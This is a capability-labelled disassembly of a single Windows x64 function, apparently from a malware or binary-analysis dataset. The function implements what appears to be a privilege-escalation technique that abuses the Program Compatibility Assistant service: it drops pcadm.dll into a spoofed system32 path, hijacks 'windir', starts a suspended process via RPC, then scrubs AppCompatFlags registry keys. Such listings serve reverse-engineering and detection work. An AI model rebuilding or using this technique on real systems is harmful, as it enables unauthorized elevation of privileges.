Function at 0x140016690
Capabilities:
Create directory
Create process on windows
Create process suspended
Delete directory
Delete file
Map section object
Resume thread
Terminate process

Disassembly:
jmp 0x140025a00
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1a78
call fcn.14001622b
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x50a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a98]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x1a10], rax
lea rcx, [0x14007ddd2]
call fcn.140016b68
nop
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 1
mov dword [rbp + 0x84], 0
mov dword [rbp + 0xc4], 0xc0000022
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x168], 0x1000
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1c8], 0
mov eax, 0x1a
mov word [rbp + 0x1e8], ax
mov eax, 0x1c
mov word [rbp + 0x1ea], ax
lea rax, str.taskhostw.exe
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x218], 0
mov qword [rbp + 0x318], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x104], eax
mov edx, 0x410
lea rcx, [rbp + 0x3e0]
call fcn.140016825
nop
mov edx, 0x410
lea rcx, [rbp + 0xc40]
call fcn.140016825
nop
mov edx, 0x18
lea rcx, [rbp + 0x2e8]
call fcn.140016825
nop
mov edx, 0x68
lea rcx, [rbp + 0x260]
call fcn.140016825
nop
lea rcx, str.PcaSvc
call fcn.1400161c7
movzx eax, al
test eax, eax
jne 0x140025b6a
jmp 0x1400263b1
mov rax, qword [0x140074d18]
cmp dword [rax + 8], 0x23f0
jae 0x140025b81
mov dword [rbp + 0x64], 0
mov edx, 0x80
lea rcx, [rbp + 0x1070]
call fcn.140016825
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount]
not eax
mov dword [rbp + 0xa4], eax
lea rcx, [rbp + 0xa4]
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x338], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 0xa4], eax
lea rcx, [rbp + 0xa4]
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x33c], eax
lea rdx, [rbp + 0x1070]
mov rcx, qword [rbp + 0x338]
call fcn.1400166c2
nop
lea rdx, str..exe
lea rcx, [rbp + 0x1070]
call fcn.140016af0
nop
mov edx, 0x208
lea rcx, [rbp + 0x1130]
call fcn.140016825
nop
lea rdx, str.Sessions_
lea rcx, [rbp + 0x1130]
call fcn.1400161f9
nop
lea rcx, [rbp + 0x1130]
call fcn.140016bf4
mov qword [rbp + 0x1a08], rax
call fcn.140016640
mov rcx, qword [rbp + 0x1a08]
mov rdx, rcx
mov ecx, dword [rax + 0x2c0]
call fcn.1400167da
nop
lea rdx, str.BaseNamedObjects_
lea rcx, [rbp + 0x1130]
call fcn.140016af0
nop
lea rcx, [rbp + 0x1130]
call fcn.140016bf4
mov rdx, rax
mov cx, 0x3066
call fcn.140016073
nop
mov qword [rbp + 0x338], 0x1000
lea rdx, [rbp + 0x1130]
lea rcx, [rbp + 0x3a8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
nop
mov dword [rbp + 0x358], 0x30
mov qword [rbp + 0x360], 0
mov dword [rbp + 0x370], 0x40
lea rax, [rbp + 0x3a8]
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x380], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x338]
lea r8, [rbp + 0x358]
mov edx, 0xf001f
lea rcx, [rbp + 0x188]
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jl 0x140025d31
cmp qword [rbp + 0x188], 0
jne 0x140025d36
jmp 0x1400263b1
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], 0x100000
mov dword [rsp + 0x38], 2
lea rax, [rbp + 0x168]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0x1000
xor r9d, r9d
lea r8, [rbp + 0x318]
mov rdx, 0xffffffffffffffff
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jl 0x140025da3
cmp qword [rbp + 0x318], 0
jne 0x140025da8
jmp 0x1400263b1
lea rdx, str.BaseNamedObjects_
lea rcx, [rbp + 0x1130]
call fcn.1400161f9
nop
lea rcx, [rbp + 0x1130]
call fcn.140016bf4
mov rdx, rax
mov cx, 0x3166
call fcn.140016073
nop
lea rdx, [rbp + 0x1130]
lea rcx, [rbp + 0x3a8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
nop
mov dword [rbp + 0x358], 0x30
mov qword [rbp + 0x360], 0
mov dword [rbp + 0x370], 0x40
lea rax, [rbp + 0x3a8]
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x380], 0
mov byte [rsp + 0x20], 0
mov r9d, 1
lea r8, [rbp + 0x358]
mov edx, 0x1f0003
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtCreateEvent]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jl 0x140025e6a
cmp qword [rbp + 0x1a8], 0
jne 0x140025e6f
jmp 0x1400263b1
lea rdx, str.ResolutionHost
lea rcx, str.MicrosoftWindowsWDI
call fcn.140016280
test eax, eax
jne 0x140025e8b
jmp 0x1400263b1
call fcn.140016640
lea r8, [rbp + 0x1e8]
lea rdx, [0x140016956]
mov ecx, dword [rax + 0x2c0]
call fcn.14001681b
nop
mov rax, qword [0x140074d18]
add rax, 0x686
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.1400161f9
nop
lea rdx, str.system32
lea rcx, [rbp + 0x3e0]
call fcn.140016af0
nop
lea rcx, [rbp + 0x3e0]
call fcn.1400162a3
mov qword [rbp + 0x128], rax
xor edx, edx
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140025f13
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140025f13
jmp 0x1400263b1
mov dword [rbp + 0x24], 1
xor r9d, r9d
lea r8, str.MpManagerStatusQueryEx
mov edx, dword [rbp + 0x1a48]
mov rcx, qword [rbp + 0x1a40]
call fcn.1400166bd
test eax, eax
jne 0x140025f3f
jmp 0x1400263b1
mov rax, qword [rbp + 0x128]
shl rax, 1
mov qword [rbp + 0x1958], rax
cmp qword [rbp + 0x1958], 0x410
jae 0x140025f5f
jmp 0x140025f65
call fcn.140016857
nop
xor eax, eax
mov rcx, qword [rbp + 0x1958]
mov word [rbp + rcx + 0x3e0], ax
lea rdx, [0x14004e560]
lea rcx, [rbp + 0x3e0]
call fcn.140016af0
nop
lea rdx, str.pcadm.dll
lea rcx, [rbp + 0x3e0]
call fcn.140016af0
nop
mov r8d, dword [rbp + 0x1a48]
mov rdx, qword [rbp + 0x1a40]
lea rcx, [rbp + 0x3e0]
call fcn.14001612c
test eax, eax
jne 0x140025fc1
jmp 0x1400263b1
mov r9d, 1
lea r8, str.MpManagerStatusQuery
mov edx, dword [rbp + 0x1a48]
mov rcx, qword [rbp + 0x1a40]
call fcn.1400166bd
test eax, eax
jne 0x140025fe9
jmp 0x1400263b1
mov rax, qword [0x140074d18]
add rax, 0x686
mov rdx, rax
lea rcx, [rbp + 0xc40]
call fcn.1400161f9
nop
lea rdx, [rbp + 0x1070]
lea rcx, [rbp + 0xc40]
call fcn.140016af0
nop
mov r8d, dword [rbp + 0x1a48]
mov rdx, qword [rbp + 0x1a40]
lea rcx, [rbp + 0xc40]
call fcn.14001612c
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x140026042
jmp 0x1400263b1
mov rax, qword [rbp + 0x318]
add rax, 4
lea rdx, [rbp + 0xc40]
mov rcx, rax
call fcn.1400161f9
nop
mov rax, qword [0x140074d18]
add rax, 0x686
mov rdx, rax
lea rcx, [rbp + 0x810]
call fcn.1400161f9
nop
lea rcx, [rbp + 0x810]
call fcn.1400162a3
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
movzx eax, word [rbp + rax*2 + 0x80e]
cmp eax, 0x5c
jne 0x1400260da
mov rax, qword [rbp + 0x148]
lea rax, [rax + rax - 2]
mov qword [rbp + 0x1978], rax
cmp qword [rbp + 0x1978], 0x410
jae 0x1400260c3
jmp 0x1400260c9
call fcn.140016857
nop
xor eax, eax
mov rcx, qword [rbp + 0x1978]
mov word [rbp + rcx + 0x810], ax
lea r9, [rbp + 0x810]
lea r8, str.windir
xor edx, edx
xor ecx, ecx
call fcn.14001600f
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x1400260ff
jmp 0x1400263b1
cmp dword [rbp + 0x64], 0
je 0x140026111
mov dword [rbp + 0x1a04], 0x31
jmp 0x14002611b
mov dword [rbp + 0x1a04], 0x33
mov eax, 2
imul rax, rax, 0
movzx ecx, word [rbp + 0x1a04]
mov word [rbp + rax + 0x1104], cx
mov qword [rbp + 0x1998], 2
cmp qword [rbp + 0x1998], 4
jae 0x14002614a
jmp 0x140026150
call fcn.140016857
nop
xor eax, eax
mov rcx, qword [rbp + 0x1998]
mov word [rbp + rcx + 0x1104], ax
cmp dword [rbp + 0x64], 0
je 0x1400261c8
mov ecx, 0x80
call fcn.1400164f1
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
jne 0x140026187
jmp 0x1400263b1
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x30], rax
mov word [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000004
xor r9d, r9d
lea r8, [rbp + 0x1104]
lea rdx, [rbp + 0xc40]
mov rcx, qword [rbp + 0x1c8]
call fcn.140016c30
mov qword [rbp + 0x2e8], rax
jmp 0x14002622f
mov dword [rbp + 0x260], 0x68
lea rax, [rbp + 0x2e8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1104]
lea rcx, [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14002622f
jmp 0x1400263b1
cmp qword [rbp + 0x2e8], 0
jne 0x14002623e
jmp 0x1400263b1
lea rdx, [rbp + 0x218]
lea rcx, str.0767a036_0d22_48aa_ba69_b619480f38cb
call fcn.140016406
mov dword [rbp + 0x234], eax
cmp dword [rbp + 0x234], 0
jne 0x140026311
cmp dword [rbp + 0x64], 0
je 0x1400262c9
mov rax, qword [0x140074d18]
add rax, 0x686
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1104]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xc40]
xor r8d, r8d
mov rdx, qword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x218]
call fcn.140016a82
mov dword [rbp + 0x234], eax
jmp 0x1400262c7
jmp 0x140026303
mov r9d, dword [rbp + 0x2f8]
mov r8d, 1
lea rdx, [rbp + 0xc40]
mov rcx, qword [rbp + 0x218]
call fcn.1400161d1
mov dword [rbp + 0x234], eax
jmp 0x140026303
lea rcx, [rbp + 0x218]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
nop
cmp dword [rbp + 0x234], 0
je 0x14002631f
jmp 0x1400263b1
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
cmp dword [rbp + 0x64], 0
je 0x140026366
lea rdx, [rbp + 0x84]
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
nop
cmp dword [rbp + 0x84], 0
je 0x140026366
jmp 0x1400263b1
mov edx, 0x4e20
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rax, qword [rbp + 0x318]
cmp dword [rax], 3
jne 0x140026391
mov dword [rbp + 0x1a04], 0
jmp 0x14002639b
mov dword [rbp + 0x1a04], 0xc0000022
mov eax, dword [rbp + 0x1a04]
mov dword [rbp + 0xc4], eax
xor eax, eax
test eax, eax
jne 0x140025b52
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp qword [rbp + 0x2f0], 0
je 0x1400263d5
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x2e8], 0
je 0x1400263fd
xor edx, edx
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x1a8], 0
je 0x140026415
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtClose]
nop
cmp qword [rbp + 0x318], 0
je 0x140026434
mov rdx, qword [rbp + 0x318]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
nop
cmp qword [rbp + 0x188], 0
je 0x14002644c
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ntdll.dll_NtClose]
nop
cmp dword [rbp + 4], 0
je 0x140026469
xor r9d, r9d
lea r8, str.windir
xor edx, edx
mov ecx, 1
call fcn.1400160d7
nop
cmp dword [rbp + 0x64], 0
je 0x14002648c
lea r8, [rbp + 0x1070]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore
mov rcx, 0xffffffff80000001
call fcn.140016c12
nop
jmp 0x1400264c2
lea r8, [rbp + 0x1070]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers
mov rcx, 0xffffffff80000002
call fcn.140016c12
nop
lea r8, [rbp + 0x1070]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted
mov rcx, 0xffffffff80000001
call fcn.140016c12
nop
cmp dword [rbp + 0x44], 0
je 0x1400264d6
lea rcx, [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
cmp dword [rbp + 0x24], 0
je 0x14002652f
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rax, qword [rbp + 0x128]
shl rax, 1
mov qword [rbp + 0x19b8], rax
cmp qword [rbp + 0x19b8], 0x410
jae 0x14002650a
jmp 0x140026510
call fcn.140016857
nop
xor eax, eax
mov rcx, qword [rbp + 0x19b8]
mov word [rbp + rcx + 0x3e0], ax
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
nop
cmp dword [rbp + 0x104], 0
jl 0x14002653f
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
cmp dword [rbp + 0xc4], 0
je 0x14002654e
call fcn.14001615e
nop
mov eax, dword [rbp + 0xc4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004d850]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x1a10]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x1a28]
pop rdi
pop rbp
ret